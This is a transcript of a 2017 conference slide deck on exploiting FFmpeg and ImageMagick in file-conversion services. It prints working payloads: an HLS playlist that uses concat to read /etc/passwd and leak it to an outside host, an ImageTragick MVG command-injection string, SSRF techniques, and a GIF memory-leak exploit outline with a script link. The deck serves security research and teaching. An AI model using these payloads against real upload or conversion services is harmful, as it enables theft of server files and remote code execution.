FFmpeg& ImageMagick - 2017. · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:...

35
FFmpeg & ImageMagick exploitation Nikolay Ermishkin Mail.Ru

Transcript of FFmpeg& ImageMagick - 2017. · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:...

Page 1: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

FFmpeg &ImageMagickexploitation

NikolayErmishkinMail.Ru

Page 2: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

•Libraryandutilityforvideoencoding

FFmpeg

Page 3: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

Convertvideo

Page 4: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

Generatepreview

Page 5: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

•Youcansetanyextension(mp4toavi etc)

Contentsniffing*

Page 6: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

FFmpeg versionfingerprinting

Page 7: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://example.org/video.mp4#EXT-X-ENDLIST

hls

Page 8: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

DEMO

Page 9: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

concat:file:///video1.mp4|file:///video2.mp4

concat

Page 10: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

concat:http://yngwie.ru/header.m3u8|file:///etc/passwd

concat

Page 11: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

concat:http://yngwie.ru/header.m3u8|file:///etc/passwd#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://yngwie.ru?root:x:0:0:root:/root:/bin/bash…

concat

Page 12: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://yngwie.ru/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

concat

Page 13: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://yngwie.ru/header.m3u8|file:///etc/passwd#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://yngwie.ru?root:x:0:0:root:/root:/bin/bash…#EXT-X-ENDLIST

concat

Page 14: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

DEMO

Page 15: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

SSRF

Page 16: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

CVE-2016-10191– https://trac.ffmpeg.org/ticket/5994

RCE

Page 17: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

https://github.com/ffmpeg-test/ffmpeg-test

Automate

Page 18: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

AllowstoinsertanysupportedfileinsideAVI,forexamplehlshttps://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p

GAB2

Page 19: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,

file:///some/txt/file.txt#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,file:///etc/passwd#EXT-X-ENDLIST

txt

Page 20: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

ImageMagick isasoftwaresuitetocreate,edit,compose,orconvertbitmapimages

ImageMagick (GraphicsMagick)

Page 21: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

Convert

Page 22: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

Identify

Page 23: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

•Youcansetanyextension(jpgtopng etc)

Contentsniffing*

Page 24: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

pushgraphic-contextviewbox 00100100fill'url(http://example.org/image.jpg)'popgraphic-context

MVG

Page 25: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

<delegatedecode="svg"command="&quot;rsvg&quot;-o&quot;%o&quot;&quot;%i&quot;"/>

delegates.xml

Page 26: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

pushgraphic-contextviewbox 00100100fill'url(https://example.org/oops.jpg"&&CMD_INJECTION)’popgraphic-context

<delegatedecode="https"command="&quot;curl&quot;-s-k-L-o&quot;%o&quot;&quot;https:%M&quot;"/>

ImageTragick

Page 27: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

FacebookwasvulnerabletoImageTragick 5monthsafterpublicdisclosehttp://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html

ImageTragick

Page 28: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

• 121CVEwithCVSS>5sinceImageTragick (6-7permonth)• Hardtoexploit

BinaryBugs

Page 29: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

Yahoobleed – https://scarybeastsecurity.blogspot.ru/2017/05/bleed-continues-18-byte-file-14k-bounty.htmlOldrarelyusedformat- RLE.

MemoryLeak

Page 30: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

CVE-2017-15277 – memoryleakinGIFparser

MemoryLeak

Page 31: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

•256colors•Pallette (256*3=768byte)

•Whatifleftempty?

GIF

Page 32: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

MemoryLeak

Page 33: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

Simplescripttoexploit– https://github.com/neex/gifoeb1. Generateimage2. Uploadittoservice3. Downloadconvertedimage4. Decodeconvertedimage

MemoryLeak

Page 34: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

DEMO

Page 35: FFmpeg& ImageMagick - 2017.  · PDF file#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat: file:///etc/passwd #EXT-X-ENDLIST concat

DEMO